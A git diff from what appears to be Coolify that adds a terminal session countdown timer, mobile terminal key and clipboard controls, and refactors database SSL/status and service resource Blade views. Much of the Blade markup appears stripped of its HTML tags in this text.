${formatTerminalSessionRemainingTime(this.terminalSessionRemainingSeconds)}`; + }, + + terminalSessionTimerClass() { + if (this.terminalSessionRemainingSeconds === null) { + return 'text-neutral-300 bg-black/70 border-white/10'; + } + + if (this.terminalSessionRemainingSeconds <= TERMINAL_SESSION_DANGER_SECONDS) { + return 'text-red-200 bg-red-950/80 border-red-500/40'; + } + + if (this.terminalSessionRemainingSeconds <= TERMINAL_SESSION_WARNING_SECONDS) { + return 'text-yellow-200 bg-yellow-950/80 border-yellow-500/40'; + } + + return 'text-neutral-300 bg-black/70 border-white/10'; }, resetTerminal() { @@ -181,6 +249,7 @@ export function initializeTerminalComponent() { this.paused = false; this.commandBuffer = ''; this.pendingCommand = null; + this.resetTerminalSessionCountdown(); // Notify parent component that terminal disconnected this.$wire.dispatch('terminalDisconnected'); @@ -328,6 +397,7 @@ export function initializeTerminalComponent() { this.connectionState = 'disconnected'; this.clearAllTimers(); + this.resetTerminalSessionCountdown(); // Only reset terminal and reconnect if it wasn't a clean close if (event.code !== 1000) { @@ -424,6 +494,7 @@ export function initializeTerminalComponent() { } } this.terminalActive = true; + this.startTerminalSessionCountdown(); this.term.focus(); document.querySelector('.xterm-viewport').classList.add('scrollbar', 'rounded-sm'); @@ -450,27 +521,22 @@ export function initializeTerminalComponent() { if (this.term) this.term.reset(); this.terminalActive = false; this.lastSentCommand = null; + this.resetTerminalSessionCountdown(); this.message = '(sorry, something went wrong, please try again)'; // Notify parent component that terminal connection failed this.$wire.dispatch('terminalDisconnected'); } else if (event.data === 'pty-exited') { + this.fullscreen = false; + this.mobileToolbarCollapsed = false; this.terminalActive = false; + this.resetTerminalSessionCountdown(); this.term.reset(); this.commandBuffer = ''; this.lastSentCommand = null; // Notify parent component that terminal disconnected this.$wire.dispatch('terminalDisconnected'); - } else if (event.data === 'idle-timeout') { - this.$wire.dispatch('error', 'Terminal closed after 30 minutes of inactivity.'); - this.terminalActive = false; - if (this.term) { - this.term.reset(); - } - this.commandBuffer = ''; - this.lastSentCommand = null; - this.$wire.dispatch('terminalDisconnected'); } else if ( typeof event.data === 'string' && (event.data.startsWith('Unauthorized:') || event.data.startsWith('Invalid SSH command:')) @@ -478,6 +544,7 @@ export function initializeTerminalComponent() { logTerminal('error', '[Terminal] Backend rejected terminal startup:', event.data); this.$wire.dispatch('error', event.data); this.terminalActive = false; + this.resetTerminalSessionCountdown(); } else { try { this.pendingWrites++; @@ -538,6 +605,64 @@ export function initializeTerminalComponent() { }); }, + + sendTerminalInput(data) { + if (!this.term || !this.terminalActive) { + return; + } + + this.term.focus(); + this.sendMessage({ message: data }); + }, + + sendTerminalControl(sequence) { + const terminalSequences = { + arrowUp: '\x1b[A', + arrowDown: '\x1b[B', + arrowRight: '\x1b[C', + arrowLeft: '\x1b[D', + tab: '\t', + escape: '\x1b', + ctrlC: '\x03' + }; + + if (terminalSequences[sequence]) { + this.sendTerminalInput(terminalSequences[sequence]); + } + }, + + async pasteFromClipboard() { + if (!navigator.clipboard?.readText) { + this.$wire.dispatch('error', 'Clipboard paste is not available in this browser.'); + return; + } + + try { + const text = await navigator.clipboard.readText(); + if (text) { + this.sendTerminalInput(text); + } + } catch (error) { + logTerminal('warn', '[Terminal] Clipboard paste failed:', error); + this.$wire.dispatch('error', 'Clipboard paste permission was denied.'); + } + }, + + async copyTerminalSelection() { + const selection = this.term?.getSelection(); + if (!selection) { + this.$wire.dispatch('error', 'Select terminal text before copying.'); + return; + } + + try { + await navigator.clipboard.writeText(selection); + } catch (error) { + logTerminal('warn', '[Terminal] Clipboard copy failed:', error); + this.$wire.dispatch('error', 'Clipboard copy permission was denied.'); + } + }, + keepAlive() { if (this.socket && this.socket.readyState === WebSocket.OPEN) { this.sendMessage({ ping: true }); @@ -629,15 +754,20 @@ export function initializeTerminalComponent() { // Force a refresh of the fit addon dimensions this.fitAddon.fit(); - // Get fresh dimensions after fit - const wrapperHeight = this.$refs.terminalWrapper.clientHeight; - const wrapperWidth = this.$refs.terminalWrapper.clientWidth; + // Get fresh dimensions from the terminal element itself. The mobile + // toolbar can live beside the terminal in normal flow, so wrapper dimensions + // would include controls that should not be counted as terminal rows. + const terminalElement = document.getElementById('terminal'); + const terminalHeight = terminalElement?.clientHeight || this.$refs.terminalWrapper.clientHeight; + const terminalWidth = terminalElement?.clientWidth || this.$refs.terminalWrapper.clientWidth; - // Account for terminal container padding (px-2 py-1 = 8px left/right, 4px top/bottom) - const horizontalPadding = 16; // 8px * 2 (left + right) - const verticalPadding = 8; // 4px * 2 (top + bottom) - const height = wrapperHeight - verticalPadding; - const width = wrapperWidth - horizontalPadding; + // Account for terminal container padding. In fullscreen mobile mode, + // the fixed toolbar sits over the terminal container, so reserve its height + // when calculating rows to keep the prompt above the controls. + const horizontalPadding = 16; // px-2 = 8px * 2 (left + right) + const verticalPadding = 8; // py-1 = 4px * 2 (top + bottom) + const height = terminalHeight - verticalPadding; + const width = terminalWidth - horizontalPadding; // Check if dimensions are valid if (height <= 0 || width <= 0) { diff --git a/resources/js/terminal.test.js b/resources/js/terminal.test.js new file mode 100644 index 000000000..e0a4fb852 --- /dev/null +++ b/resources/js/terminal.test.js @@ -0,0 +1,15 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { + MAX_TERMINAL_SESSION_SECONDS, + formatTerminalSessionRemainingTime, +} from './terminal-session-timer.js'; + +test('formatTerminalSessionRemainingTime formats the eight hour terminal limit countdown', () => { + assert.equal(MAX_TERMINAL_SESSION_SECONDS, 8 * 60 * 60); + assert.equal(formatTerminalSessionRemainingTime(MAX_TERMINAL_SESSION_SECONDS), '8h 00m 00s'); + assert.equal(formatTerminalSessionRemainingTime((7 * 60 * 60) + (59 * 60) + 59), '7h 59m 59s'); + assert.equal(formatTerminalSessionRemainingTime(65 * 60), '1h 05m 00s'); + assert.equal(formatTerminalSessionRemainingTime(59), '0m 59s'); + assert.equal(formatTerminalSessionRemainingTime(0), 'expired'); +}); diff --git a/resources/views/components/database-status-info.blade.php b/resources/views/components/database-status-info.blade.php new file mode 100644 index 000000000..4a9de3ca5 --- /dev/null +++ b/resources/views/components/database-status-info.blade.php @@ -0,0 +1,94 @@ +@props([ + 'database', + 'label', + 'dbUrl' => null, + 'dbUrlPublic' => null, + 'supportsSsl' => true, + 'enableSsl' => false, + 'sslMode' => null, + 'sslModeOptions' => null, + 'sslModeHelper' => null, + 'certificateValidUntil' => null, + 'isExited' => false, + 'showPublicUrlPlaceholder' => false, +]) + +@php + $urlHelper = 'If you change the user/password/port, this could be different. This is with the default values.'; +@endphp + +
+ + @if ($dbUrlPublic) + + @elseif ($showPublicUrlPlaceholder) + + @endif + + @if ($supportsSsl) +
+
+
+

SSL Configuration

+ @if ($enableSsl && $certificateValidUntil) + + @endif +
+
+ @if ($enableSsl && $certificateValidUntil) + Valid until: + @if (now()->gt($certificateValidUntil)) + {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expired + @elseif(now()->addDays(30)->gt($certificateValidUntil)) + {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expiring + soon + @else + {{ $certificateValidUntil->format('d.m.Y H:i:s') }} + @endif + + @endif +
+
+ @if ($isExited) + + @else + + @endif +
+ @if ($sslModeOptions && $enableSsl) +
+ @if ($isExited) + + @foreach ($sslModeOptions as $value => $option) + + @endforeach + + @else + + @foreach ($sslModeOptions as $value => $option) + + @endforeach + + @endif +
+ @endif +
+
+ @endif +
diff --git a/resources/views/components/forms/env-var-input.blade.php b/resources/views/components/forms/env-var-input.blade.php index f637425c1..976c63b29 100644 --- a/resources/views/components/forms/env-var-input.blade.php +++ b/resources/views/components/forms/env-var-input.blade.php @@ -196,26 +196,6 @@ }" @click.outside="showDropdown = false"> - @if ($type === 'password' && $allowToPeak) - - @endif - get('placeholder') }}" @if ($autofocus) autofocus @endif> + @if ($type === 'password' && $allowToPeak) + + @endif + {{-- Dropdown for suggestions --}}
+ merge(['class' => $defaultClass]) }} @required($required) + @if ($modelBinding !== 'null') wire:model={{ $modelBinding }} wire:dirty.class="[box-shadow:inset_4px_0_0_#6b16ed,inset_0_0_0_2px_#e5e5e5] dark:[box-shadow:inset_4px_0_0_#fcd452,inset_0_0_0_2px_#242424]" @endif + wire:loading.attr="disabled" + @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}" + name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}" + aria-placeholder="{{ $attributes->get('placeholder') }}" + @if ($autofocus) x-ref="autofocusInput" @endif> @if ($allowToPeak)
@else diff --git a/resources/views/components/forms/textarea.blade.php b/resources/views/components/forms/textarea.blade.php index 22c89fd72..752e67433 100644 --- a/resources/views/components/forms/textarea.blade.php +++ b/resources/views/components/forms/textarea.blade.php @@ -31,6 +31,21 @@ function handleKeydown(e) { @else @if ($type === 'password')
+ merge(['class' => $defaultClassInput]) }} @required($required) + @if ($modelBinding !== 'null') wire:model={{ $modelBinding }} wire:dirty.class="[box-shadow:inset_4px_0_0_#6b16ed,inset_0_0_0_2px_#e5e5e5] dark:[box-shadow:inset_4px_0_0_#fcd452,inset_0_0_0_2px_#242424]" @endif + wire:loading.attr="disabled" + type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}" + name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}" + aria-placeholder="{{ $attributes->get('placeholder') }}"> + @if ($allowToPeak)
@else diff --git a/resources/views/components/navbar.blade.php b/resources/views/components/navbar.blade.php index 433102dcb..ecd798cc2 100644 --- a/resources/views/components/navbar.blade.php +++ b/resources/views/components/navbar.blade.php @@ -49,23 +49,32 @@ localStorage.setItem('theme', type); this.queryTheme(); }, + cycleTheme() { + const themes = ['light', 'system', 'dark']; + const currentIndex = themes.indexOf(this.theme || localStorage.getItem('theme') || 'dark'); + this.setTheme(themes[(currentIndex + 1) % themes.length]); + }, queryTheme() { const darkModePreference = window.matchMedia('(prefers-color-scheme: dark)').matches; const userSettings = localStorage.getItem('theme') || 'dark'; localStorage.setItem('theme', userSettings); + let isDark = false; if (userSettings === 'dark') { document.documentElement.classList.add('dark'); this.theme = 'dark'; + isDark = true; } else if (userSettings === 'light') { document.documentElement.classList.remove('dark'); this.theme = 'light'; } else if (darkModePreference) { this.theme = 'system'; document.documentElement.classList.add('dark'); + isDark = true; } else if (!darkModePreference) { this.theme = 'system'; document.documentElement.classList.remove('dark'); } + document.querySelector('meta[name=theme-color]')?.setAttribute('content', isDark ? '#101010' : '#ffffff'); }, checkZoom() { if (this.zoom === null) { @@ -92,9 +101,9 @@ } } }"> -
-
+
+ @@ -107,10 +116,10 @@ class="hover:opacity-80 transition-opacity"
-
+
-
- -
-
+
    @@ -366,6 +372,70 @@ class="{{ request()->is('settings*') ? 'menu-item-active menu-item' : 'menu-item @endif @endif
    +
  • + +
  • +
  • + + +
  • @if (isInstanceAdmin() && !isCloud()) @persist('upgrade')
  • diff --git a/resources/views/components/profile/navbar.blade.php b/resources/views/components/profile/navbar.blade.php new file mode 100644 index 000000000..4c1554ee3 --- /dev/null +++ b/resources/views/components/profile/navbar.blade.php @@ -0,0 +1,17 @@ +
    +

    Profile

    +
    Your user profile settings.
    + +
    diff --git a/resources/views/layouts/app.blade.php b/resources/views/layouts/app.blade.php index 1171c2b19..6be40f966 100644 --- a/resources/views/layouts/app.blade.php +++ b/resources/views/layouts/app.blade.php @@ -9,15 +9,19 @@ @auth diff --git a/resources/views/livewire/profile/appearance.blade.php b/resources/views/livewire/profile/appearance.blade.php new file mode 100644 index 000000000..45c2ac96c --- /dev/null +++ b/resources/views/livewire/profile/appearance.blade.php @@ -0,0 +1,119 @@ +
    + + Appearance | Coolify + + + +
    +
    +

    Appearance

    +
    Choose how Coolify looks in this browser.
    +
    + + + +
    +
    + +
    +

    Width

    +
    Choose the maximum page width for this browser.
    +
    + + +
    +
    + +
    +

    Zoom

    +
    Choose interface density for this browser.
    +
    + + +
    +
    +
    +
    diff --git a/resources/views/livewire/profile/index.blade.php b/resources/views/livewire/profile/index.blade.php index 11031b7f2..d5664fd68 100644 --- a/resources/views/livewire/profile/index.blade.php +++ b/resources/views/livewire/profile/index.blade.php @@ -2,8 +2,7 @@ Profile | Coolify -

    Profile

    -
    Your user profile settings.
    +

    General

    diff --git a/resources/views/livewire/project/application/advanced.blade.php b/resources/views/livewire/project/application/advanced.blade.php index 82ee31933..d6fcc2e4a 100644 --- a/resources/views/livewire/project/application/advanced.blade.php +++ b/resources/views/livewire/project/application/advanced.blade.php @@ -41,7 +41,7 @@ instantSave id="isPreviewDeploymentsEnabled" label="Preview Deployments" canGate="update" :canResource="$application" /> diff --git a/resources/views/livewire/project/application/configuration.blade.php b/resources/views/livewire/project/application/configuration.blade.php index 848c46ff7..6986cef05 100644 --- a/resources/views/livewire/project/application/configuration.blade.php +++ b/resources/views/livewire/project/application/configuration.blade.php @@ -27,21 +27,7 @@ @endif Servers - @if ($application->server_status == false) - - - - - - @elseif ($application->additional_servers()->exists() && str($application->status)->contains('degraded')) - - - - - - @endif + str($currentRoute)->startsWith('project.application.scheduled-tasks')]) {{ wireNavigate() }} href="{{ route('project.application.scheduled-tasks.show', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]) }}">Scheduled Tasks diff --git a/resources/views/livewire/project/application/server-status-badge.blade.php b/resources/views/livewire/project/application/server-status-badge.blade.php new file mode 100644 index 000000000..80c786a3e --- /dev/null +++ b/resources/views/livewire/project/application/server-status-badge.blade.php @@ -0,0 +1,17 @@ + + @if ($application->server_status === false) + + + + + + @elseif ($application->additional_servers()->exists() && str($application->status)->contains('degraded')) + + + + + + @endif + diff --git a/resources/views/livewire/project/database/clickhouse/general.blade.php b/resources/views/livewire/project/database/clickhouse/general.blade.php index 9283172ad..acba65442 100644 --- a/resources/views/livewire/project/database/clickhouse/general.blade.php +++ b/resources/views/livewire/project/database/clickhouse/general.blade.php @@ -41,19 +41,8 @@ helper="A comma separated list of ports you would like to map to the host system.
    Example3000:5432,3002:5433" canGate="update" :canResource="$database" />
    - - @if ($dbUrlPublic) - - @else - - @endif
+
-
-
-
-

SSL Configuration

- @if ($database->enable_ssl && $certificateValidUntil) - - @endif -
-
- @if ($database->enable_ssl && $certificateValidUntil) - Valid until: - @if (now()->gt($certificateValidUntil)) - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expired - @elseif(now()->addDays(30)->gt($certificateValidUntil)) - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expiring - soon - @else - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - @endif - - @endif -
-
- @if (str($database->status)->contains('exited')) - - @else - - @endif -
-
+
diff --git a/resources/views/livewire/project/database/health.blade.php b/resources/views/livewire/project/database/health.blade.php new file mode 100644 index 000000000..725500209 --- /dev/null +++ b/resources/views/livewire/project/database/health.blade.php @@ -0,0 +1,35 @@ + +
+

Healthcheck

+ Save + @if (!$healthCheckEnabled) + + + @else + Disable Healthcheck + @endif +
+
Define how your resource's health should be checked.
+
+ @if (!$healthCheckEnabled) + +

Docker runs no healthcheck probe for this database and Coolify can no longer report a healthy/unhealthy state.

+
+ @endif + +
+ + + + +
+
+ diff --git a/resources/views/livewire/project/database/import-form.blade.php b/resources/views/livewire/project/database/import-form.blade.php new file mode 100644 index 000000000..1e384ac8d --- /dev/null +++ b/resources/views/livewire/project/database/import-form.blade.php @@ -0,0 +1,228 @@ +
+ + @script + + @endscript +
+ + + + This is a destructive action, existing data will be replaced! +
+ {{-- Restore Command Configuration --}} + @if ($resourceDbType === 'standalone-postgresql') + @if ($dumpAll) + + @else + +
+ You can add "--clean" to drop objects before creating them, avoiding + conflicts. + You can add "--verbose" to log more things. +
+ @endif +
+ +
+ @elseif ($resourceDbType === 'standalone-mysql') + @if ($dumpAll) + + @else + + @endif +
+ +
+ @elseif ($resourceDbType === 'standalone-mariadb') + @if ($dumpAll) + + @else + + @endif +
+ +
+ @endif + + {{-- Restore Type Selection Boxes --}} +

Choose Restore Method

+
+
+
+ + + +

Restore from File

+

Upload a backup file or specify a file path on the server

+
+
+ + @if (count($availableS3Storages) > 0) +
+
+ + + +

Restore from S3

+

Download and restore a backup from S3 storage

+
+
+ @endif +
+ + {{-- File Restore Section --}} + @can('update', $this->resource) +
+

Backup File

+
+ + Check File +
+
+ Or +
+
+ @csrf +
+
+ +
+ +
+

File Information

+
Location:
+
+ + + Restore Database from File + + This will perform the following actions: +
    +
  • Copy backup file to database container
  • +
  • Execute restore command
  • +
+
WARNING: This will REPLACE all existing data!
+
+
+
+
+ @endcan + + {{-- S3 Restore Section --}} + @if (count($availableS3Storages) > 0) + @can('update', $this->resource) +
+

Restore from S3

+
+ + + @foreach ($availableS3Storages as $storage) + + @endforeach + + + + +
+ + Check File + +
+ + @if ($s3FileSize) +
+

File Information

+
Location: {{ $s3Path }} {{ formatBytes($s3FileSize ?? 0) }}
+
+ + + Restore Database from S3 + + This will perform the following actions: +
    +
  • Download backup from S3 storage
  • +
  • Copy file into database container
  • +
  • Execute restore command
  • +
+
WARNING: This will REPLACE all existing data!
+
+
+
+ @endif +
+
+ @endcan + @endif + + {{-- Slide-over for activity monitor (all restore operations) --}} + + Database Restore Output + +
+ +
+
+
+
\ No newline at end of file diff --git a/resources/views/livewire/project/database/import.blade.php b/resources/views/livewire/project/database/import.blade.php index 666abb3b3..75de25f71 100644 --- a/resources/views/livewire/project/database/import.blade.php +++ b/resources/views/livewire/project/database/import.blade.php @@ -1,237 +1,10 @@ -
- - @script - - @endscript +

Import Backup

@if ($unsupported)
Database restore is not supported.
+ @elseif (str($resourceStatus)->startsWith('running')) + @else -
- - - - This is a destructive action, existing data will be replaced! -
- @if (str($resourceStatus)->startsWith('running')) - {{-- Restore Command Configuration --}} - @if ($resourceDbType === 'standalone-postgresql') - @if ($dumpAll) - - @else - -
- You can add "--clean" to drop objects before creating them, avoiding - conflicts. - You can add "--verbose" to log more things. -
- @endif -
- -
- @elseif ($resourceDbType === 'standalone-mysql') - @if ($dumpAll) - - @else - - @endif -
- -
- @elseif ($resourceDbType === 'standalone-mariadb') - @if ($dumpAll) - - @else - - @endif -
- -
- @endif - - {{-- Restore Type Selection Boxes --}} -

Choose Restore Method

-
-
-
- - - -

Restore from File

-

Upload a backup file or specify a file path on the server

-
-
- - @if (count($availableS3Storages) > 0) -
-
- - - -

Restore from S3

-

Download and restore a backup from S3 storage

-
-
- @endif -
- - {{-- File Restore Section --}} - @can('update', $this->resource) -
-

Backup File

-
- - Check File -
-
- Or -
-
- @csrf -
-
- -
- -
-

File Information

-
Location:
-
- - - Restore Database from File - - This will perform the following actions: -
    -
  • Copy backup file to database container
  • -
  • Execute restore command
  • -
-
WARNING: This will REPLACE all existing data!
-
-
-
-
- @endcan - - {{-- S3 Restore Section --}} - @if (count($availableS3Storages) > 0) - @can('update', $this->resource) -
-

Restore from S3

-
- - - @foreach ($availableS3Storages as $storage) - - @endforeach - - - - -
- - Check File - -
- - @if ($s3FileSize) -
-

File Information

-
Location: {{ $s3Path }} {{ formatBytes($s3FileSize ?? 0) }}
-
- - - Restore Database from S3 - - This will perform the following actions: -
    -
  • Download backup from S3 storage
  • -
  • Copy file into database container
  • -
  • Execute restore command
  • -
-
WARNING: This will REPLACE all existing data!
-
-
-
- @endif -
-
- @endcan - @endif - - {{-- Slide-over for activity monitor (all restore operations) --}} - - Database Restore Output - -
- -
-
-
- @else -
Database must be running to restore a backup.
- @endif +
Database must be running to restore a backup.
@endif -
\ No newline at end of file +
diff --git a/resources/views/livewire/project/database/keydb/general.blade.php b/resources/views/livewire/project/database/keydb/general.blade.php index ee3f8fd0c..fa241dec2 100644 --- a/resources/views/livewire/project/database/keydb/general.blade.php +++ b/resources/views/livewire/project/database/keydb/general.blade.php @@ -38,59 +38,8 @@ helper="A comma separated list of ports you would like to map to the host system.
Example3000:5432,3002:5433" canGate="update" :canResource="$database" />
- - @if ($dbUrlPublic) - - @else - - @endif -
-
-
-
-

SSL Configuration

- @if ($database->enable_ssl && $certificateValidUntil) - - @endif -
-
- @if ($database->enable_ssl && $certificateValidUntil) - Valid until: - @if (now()->gt($certificateValidUntil)) - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expired - @elseif(now()->addDays(30)->gt($certificateValidUntil)) - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expiring - soon - @else - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - @endif - - @endif -
-
- @if (str($database->status)->contains('exited')) - - @else - - @endif -
-
+
diff --git a/resources/views/livewire/project/database/mariadb/general.blade.php b/resources/views/livewire/project/database/mariadb/general.blade.php index 1154124d1..b29b3e81e 100644 --- a/resources/views/livewire/project/database/mariadb/general.blade.php +++ b/resources/views/livewire/project/database/mariadb/general.blade.php @@ -61,59 +61,9 @@ helper="A comma separated list of ports you would like to map to the host system.
Example3000:5432,3002:5433" canGate="update" :canResource="$database" />
- - @if ($db_url_public) - - @endif
-
-
-
-

SSL Configuration

- @if ($enableSsl && $certificateValidUntil) - - @endif -
-
- @if ($enableSsl && $certificateValidUntil) - Valid until: - @if (now()->gt($certificateValidUntil)) - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expired - @elseif(now()->addDays(30)->gt($certificateValidUntil)) - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expiring - soon - @else - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - @endif - - @endif -
-
-
-
- @if (str($database->status)->contains('exited')) - - @else - - @endif -
-
-
+
diff --git a/resources/views/livewire/project/database/mongodb/general.blade.php b/resources/views/livewire/project/database/mongodb/general.blade.php index e9e5d621d..c1ec60219 100644 --- a/resources/views/livewire/project/database/mongodb/general.blade.php +++ b/resources/views/livewire/project/database/mongodb/general.blade.php @@ -50,85 +50,10 @@ helper="A comma separated list of ports you would like to map to the host system.
Example3000:5432,3002:5433" canGate="update" :canResource="$database" />
- - @if ($db_url_public) - - @endif
+
-
-
-

SSL Configuration

- @if ($enableSsl) - - @endif -
-
- @if ($enableSsl && $certificateValidUntil) - Valid until: - @if (now()->gt($certificateValidUntil)) - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expired - @elseif(now()->addDays(30)->gt($certificateValidUntil)) - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expiring - soon - @else - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - @endif - - @endif -
-
-
-
- @if (str($database->status)->contains('exited')) - - @else - - @endif -
- @if ($enableSsl) -
- @if (str($database->status)->contains('exited')) - - - - - - - @else - - - - - - - @endif -
- @endif -
-
diff --git a/resources/views/livewire/project/database/mysql/general.blade.php b/resources/views/livewire/project/database/mysql/general.blade.php index bb3916ec8..e90885e7c 100644 --- a/resources/views/livewire/project/database/mysql/general.blade.php +++ b/resources/views/livewire/project/database/mysql/general.blade.php @@ -56,81 +56,9 @@
- - @if ($db_url_public) - - @endif
-
-
-
-

SSL Configuration

- @if ($enableSsl && $certificateValidUntil) - - @endif -
-
- @if ($enableSsl && $certificateValidUntil) - Valid until: - @if (now()->gt($certificateValidUntil)) - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expired - @elseif(now()->addDays(30)->gt($certificateValidUntil)) - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expiring - soon - @else - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - @endif - - @endif -
-
-
-
- @if (str($database->status)->contains('exited')) - - @else - - @endif -
- @if ($enableSsl) -
- @if (str($database->status)->contains('exited')) - - - - - - - @else - - - - - - - @endif -
- @endif -
-
+
diff --git a/resources/views/livewire/project/database/postgresql/general.blade.php b/resources/views/livewire/project/database/postgresql/general.blade.php index 9c956f5b3..ab6f6ed88 100644 --- a/resources/views/livewire/project/database/postgresql/general.blade.php +++ b/resources/views/livewire/project/database/postgresql/general.blade.php @@ -68,114 +68,38 @@ helper="A comma separated list of ports you would like to map to the host system.
Example3000:5432,3002:5433" canGate="update" :canResource="$database" />
- - - @if ($db_url_public) - - @endif
+
-

SSL Configuration

- @if ($enableSsl && $certificateValidUntil) - +

Proxy

+ + @if (data_get($database, 'is_public')) + + Proxy Logs + + + + Logs + @endif
- @if ($enableSsl && $certificateValidUntil) - Valid until: - @if (now()->gt($certificateValidUntil)) - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expired - @elseif(now()->addDays(30)->gt($certificateValidUntil)) - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expiring - soon - @else - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - @endif - - @endif +
+ +
+
+ + +
-
-
- @if ($database->isExited()) - - @else - - @endif -
- @if ($enableSsl) -
- @if ($database->isExited()) - - - - - - - - @else - - - - - - - - @endif -
- @endif - -
-
-

Proxy

- - @if (data_get($database, 'is_public')) - - Proxy Logs - - - - Logs - - @endif -
-
- -
-
- - -
-
- -
- -
-
+
diff --git a/resources/views/livewire/project/database/redis/general.blade.php b/resources/views/livewire/project/database/redis/general.blade.php index 73ee5f0e5..b72b05ff6 100644 --- a/resources/views/livewire/project/database/redis/general.blade.php +++ b/resources/views/livewire/project/database/redis/general.blade.php @@ -60,56 +60,8 @@ helper="A comma separated list of ports you would like to map to the host system.
Example3000:5432,3002:5433" canGate="update" :canResource="$database" />
- - @if ($dbUrlPublic) - - @endif -
-
-
-
-

SSL Configuration

- @if ($enableSsl && $certificateValidUntil) - - @endif -
-
- @if ($enableSsl && $certificateValidUntil) - Valid until: - @if (now()->gt($certificateValidUntil)) - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expired - @elseif(now()->addDays(30)->gt($certificateValidUntil)) - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expiring - soon - @else - {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - @endif - - @endif -
-
- @if (str($database->status)->contains('exited')) - - @else - - @endif -
-
+
diff --git a/resources/views/livewire/project/database/status-info.blade.php b/resources/views/livewire/project/database/status-info.blade.php new file mode 100644 index 000000000..7107b3daf --- /dev/null +++ b/resources/views/livewire/project/database/status-info.blade.php @@ -0,0 +1,6 @@ +
+ +
diff --git a/resources/views/livewire/project/service/configuration.blade.php b/resources/views/livewire/project/service/configuration.blade.php index ffe80b595..35b2ffd20 100644 --- a/resources/views/livewire/project/service/configuration.blade.php +++ b/resources/views/livewire/project/service/configuration.blade.php @@ -43,134 +43,12 @@ @endif @foreach ($applications as $application) -
str( - $application->status)->contains(['exited']), - 'border-l border-dashed border-success' => str( - $application->status)->contains(['running']), - 'border-l border-dashed border-warning' => str( - $application->status)->contains(['starting']), - 'flex gap-2 box-without-bg-without-border dark:bg-coolgray-100 bg-white dark:hover:text-neutral-300 group', - ])> - -
+ @endforeach @foreach ($databases as $database) -
str($database->status)->contains( - ['exited']), - 'border-l border-dashed border-success' => str($database->status)->contains( - ['running']), - 'border-l border-dashed border-warning' => str($database->status)->contains( - ['restarting']), - 'flex gap-2 box-without-bg-without-border dark:bg-coolgray-100 bg-white dark:hover:text-neutral-300 group', - ])> - -
+ @endforeach
@elseif ($currentRoute === 'project.service.environment-variables') diff --git a/resources/views/livewire/project/service/resource-card.blade.php b/resources/views/livewire/project/service/resource-card.blade.php new file mode 100644 index 000000000..47fb00914 --- /dev/null +++ b/resources/views/livewire/project/service/resource-card.blade.php @@ -0,0 +1,77 @@ +
str($resource->status)->contains(['exited']), + 'border-l border-dashed border-success' => str($resource->status)->contains(['running']), + 'border-l border-dashed border-warning' => str($resource->status)->contains(['starting', 'restarting']), + 'flex gap-2 box-without-bg-without-border dark:bg-coolgray-100 bg-white dark:hover:text-neutral-300 group', +])> +
+
+
+ @if ($resource->human_name) + {{ Str::headline($resource->human_name) }} + @else + {{ Str::headline($resource->name) }} + @endif + ({{ $resource->image }}) +
+ @if ($resource->configuration_required) + (configuration required) + @endif + @if ($resource->description) + {{ Str::limit($resource->description, 60) }} + @endif + @if ($isApplication && $resource->fqdn) + {{ Str::limit($resource->fqdn, 60) }} + @can('update', $service) + + + + + + + + + + + + + + @endcan + + @endif +
$isApplication, 'text-xs'])>{{ formatContainerStatus($resource->status) }}
+
+
+ @if ($isDatabase && ($resource->isBackupSolutionAvailable() || $resource->is_migrated)) + + Backups + + @endif + + Settings + + @if (str($resource->status)->contains('running')) + @can('update', $service) + + @endcan + @endif +
+
+
diff --git a/resources/views/livewire/project/shared/health-checks.blade.php b/resources/views/livewire/project/shared/health-checks.blade.php index 8662b0b50..ac2063c2e 100644 --- a/resources/views/livewire/project/shared/health-checks.blade.php +++ b/resources/views/livewire/project/shared/health-checks.blade.php @@ -1,6 +1,6 @@
-

Healthchecks

+

Healthcheck

Save @if (!$healthCheckEnabled) + @if ($isTerminalConnected) + + @endif @if (!$hasShell)
@@ -18,10 +21,37 @@
@endif
+ :class="fullscreen ? 'fixed inset-0 z-[9999] m-0 h-[100dvh] w-screen max-w-none overflow-hidden rounded-none !bg-black p-0' : 'relative w-full h-full py-4 mx-auto max-h-[510px]'"> +
+
+
+
+ :class="fullscreen ? (mobileToolbarCollapsed ? 'h-[calc(100dvh-3.5rem)] mb-14 px-2 py-1 bg-black' : 'h-[calc(100dvh-6rem)] mb-[6rem] px-2 py-1 bg-black') : 'h-[510px] max-h-[calc(100dvh-10rem)] overflow-hidden px-2 py-1 rounded-sm bg-black'" + x-show="terminalActive"> +
+
+
+
+ Terminal keys + +
+
+ + + + + + +
+
